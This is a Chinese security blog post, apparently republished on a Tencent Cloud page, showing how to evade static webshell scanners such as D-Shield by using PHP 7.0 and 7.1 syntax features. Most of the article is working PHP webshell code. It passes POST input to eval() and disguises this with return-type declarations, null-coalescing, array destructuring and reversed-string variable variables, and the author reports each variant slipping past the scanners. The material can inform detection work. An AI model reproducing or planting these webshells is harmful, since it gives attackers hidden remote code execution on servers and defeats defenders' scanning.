专栏首页信安之路利用php新特性过静态查杀

利用php新特性过静态查杀

最近在研究webshell免杀,抽出心得的一个新颖的点。原因是突然想到既然php7.1不能利用可变函数的assert,那就利用php7的新特性来绕过查杀正则,最终绕过某盾和“某d0g”。

实验环境在7.1.9,所有马儿在php7以下的环境均不能使用。

D盾规则库(最新):20191227

某d0g因为可能会因为用其产品测试,导致侵权行为,为了防止被举报所以就不放图了。

前置实验

某盾

首先以下代码

<?php
$a='aaaa';
eval($a);
?

直接误报了。

因此,直接传参到eval里面是不现实的。

所以接下来我们要利用函数,配合php新特性来绕过它。

某d0g

而对于某d0g,只要以下代码

$a=$_POST['b'];
eval($b)

就会让其误报。

因此在写免杀马的时候,post中的变量,不要出现在eval中的字符串中。就像上面`b`一样,尽管他在`eval`中是以变量的形式出现的。有了这个基础就可以进入正题了。

PHP7.0.x

[php手册-php7.0.x新特性]( https://www.php.net/manual/zh/migration70.new-features.php)

返回值类型申明

php7增加了返回值类型声明的支持,在定义函数时增加一个 `:类型`便可以了。

例如:

function a():int{
...
}

就是函数返回值类型要为int。否则会强制转换或者显示语法错误。

如果未更新此特性的查杀软件,就会不认识此函数,导致被绕过。

例如:

<?php
function b():string{  
  return $_POST['h3art3ars'];
}
eval(b());
?>

可以用查杀软件测试一下。

发现没有被检测到。

可以使用。

null合并运算符

由于日常使用中存在大量同时使用三元表达式和 `isset()`的情况, 添加了null合并运算符 (*??*) 这个语法糖。如果变量存在且值不为**`NULL`**, 它就会返回自身的值,否则返回它的第二个操作数

简单来说:

$a=isset($_POST['a'])?$_POST['a']:'h3art3ars';
<=>
$a=$_POST['a']??'h3art3ars';

如果运用 `??`符号,查杀软件不会理解着个处理过程 ,可能就会导致绕过。

就像以下代码就可以绕过某d0g

<?php
$a=$b??$_POST['h3art3ars'];
eval($a);
?>

再利用函数调用一下

<?php
function a(){
  $a=$b??$_POST['h3art3ars'];
  return $a;
}
eval(a());
?>

可以发现已经过了D盾

测试一下可用性

接下来看看7.1的特性吧

php7.1.x

[php手册-php7.0.x新特性]( https://www.php.net/manual/zh/migration71.new-features.php )

可为空(Nullable)类型

参数以及返回值的类型现在可以通过在类型前加上一个问号使之允许为空。当启用这个特性时,传入的参数或者函数返回的结果要么是给定的类型,要么是 null 。

比7.1的特性多了个 `?`函数返回值若不是给定类型,则为空。

使用同样的代码:

<?php
function a(): ?string
{
    return $_POST['h3art3ars'];
}
eval(a());
?>

不出意外

过了D盾

短数组语法

短数组语法([])现在作为list()语法的一个备选项,可以用于将数组的值赋给一些变量(包括在foreach中)。

这里选用中括号 `[]类型`的列表来演示。

$a=['a','b'];
[$c,$d]=$a;

这样,就把数组的值分别赋给了` $c`,`$d`.`$c='a';$d='b';`

这样,就可以用这个少用的特性,来绕过静态查杀

首先写一个最简单的:

<?php
$a=['h3art3ars',$_POST['h3art3ars']];
[$c,$d]=$a;
eval($d);
?>

然后就过了某d0g。自行测试。

之后就可以配合函数。就像这样:

<?php
function a(){
  $a=['h3art3ars',$_POST['h3art3ars']];
  [$c,$d]=$a;
  return $d;
}
eval(a());
?>

查杀一下

测试可用性

list()现在支持键名

官方说明:现在list()和它的新的[]语法支持在它内部去指定键名。这意味着它可以将任意类型的数组 都赋值给一些变量(与短数组语法类似)

这个很绕,看一下例子也许就会明白了。

eg:

$data = ["id" => 1, "name" => 'h3art3ars']; 
["id" => $a, "name" => $b] = $data;
//结果$a=1,$b='h3art3ars'

稍微改改就能过某d0g(自行测试):

<?php
$a=[
  "shell"=>'a',
  "c"=>$_POST['h3art3ars'],
  ];
["shell"=>$c,"c"=>$b]=$a;
eval($b);
?>

试试D盾

报了一级

再次借助自定义函数。

<?php
function a(){
$a=[
  "shell"=>'a',
  "c"=>$_POST['h3art3ars'],
  ];
["shell"=>$c,"c"=>$b]=$a;
  return  $b;
}
eval(a());
?>

成功过D,测试可用性。

支持为负的字符串偏移量

官方说明

现在所有支持偏移量的字符串操作函数 都支持接受负数作为偏移量,包括通过[]或{}操作字符串下标。在这种情况下,一个负数的偏移量理解为一个从字符串结尾开始的偏移量。

这个在小于7.1版本中,负的偏移量返回空字串。

eg:

<?php
$a="h3art3ars";
var_dump($a[-1]);
?>

7.1.x中返回 `s`,但是以前的版本中 返回 ` string(0) "" `

思路:我们可以这个拆分字符串,使规则识别不出来。最后再配合php的可变变量:

<?php
$a="TSOP_";
$b=$a[-1].$a[-2].$a[-3].$a[-4].$a[-5];
$c=${"$b"}['h3art3ars'];
eval($c);
?>

这样就可以过某d0g了。但是对于D盾来说,会识别拼接字符,和可变变量。报一级`可疑文件`,不得不说这点做的确实很好。

其实还有很多特性,就像`通过define()定义常量数组`,也都可以举一反三去绕过。而且不止自定义函数,还可以配合类,可变变量等,来绕过静态查杀。

还可以利用 `太空船操作符(组合比较符)`,`整数除法函数 intdiv()`等来绕过动态查杀。

这里给D哥的规则库又能添加几条了。哈哈。

参考

htps://www.php.net/manual/zh/migration71.new-features.php

https://www.php.net/manual/zh/migration70.new-features.php#migration70.new-features.return-type-declarations

本文分享自微信公众号 - 信安之路(xazlsec),作者:h3art3ars

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-02-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 代码审计之 UsualToolCMS

    写到一半全部删了,觉得自己还不够经验写这样的东西,以免自己的文章对各位大佬带来误导。

    信安之路
  • 审计SEMCMSv2.7之捡来的两个洞加漏洞复现

    在 SEMCMS php v2.7 审计之前,我会去看看要审计的CMS官网是否存在手册说明什么的,然后去会各个漏洞公布平台找找它以前的老漏洞,复现下是否修复及修...

    信安之路
  • PHP 文件包含漏洞姿势总结

    文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注...

    信安之路
  • wordpress首页文章列表不显示指定分类文章

    那会说了会为大家讲解自己怎么将『微语』制作出来的,现在先做些准备工作,其实这也是众人的智慧凝聚出来的,光我自己你就是到让中国男足冲出世界杯那天我都是实现不出来的...

    汐楓
  • 你在无意中就打破了用户体验设计中最重要的规则!

    以下内容由Mockplus(摹客)团队翻译整理,仅供学习交流,Mockplus是更快更简单的原型设计工具。

    奔跑的小鹿
  • workerman搭建ws和wss环境

    workerman是php写的,github地址:https://github.com/walkor/workerman

    我爱你的一诺
  • nginx重写url】之 当项目有多个入口文件时

    但当我们的php项目有多个入口文件时,(假如有index.php, admin.php, app.php, api.php 四个入口文件),在不处理的状态下,u...

    公众号php_pachong
  • W3C高级算法挑战之python实现

    用户可以在表单中填入一个任意有效美国电话号码. 下面是一些有效号码的例子(还有下面测试时用到的一些变体写法):

    py3study
  • Python带你了解数据结构【一】

    我们学过计算机的童鞋们都知道算法与数据结构一直是大家逃不掉的噩梦,那么今天小编就带大家来看看用python来解读这些数据结构是否会变得简单一点呢?

    我被狗咬了
  • [springboot 开发单体web shop] 5. 用户登录及首页展示

    在之前的文章中我们实现了用户注册和验证功能,接下来我们继续实现它的登录,以及登录成功之后要在页面上显示的信息。 接下来,我们来编写代码。

    Isaac Zhang

扫码关注云+社区

领取腾讯云代金券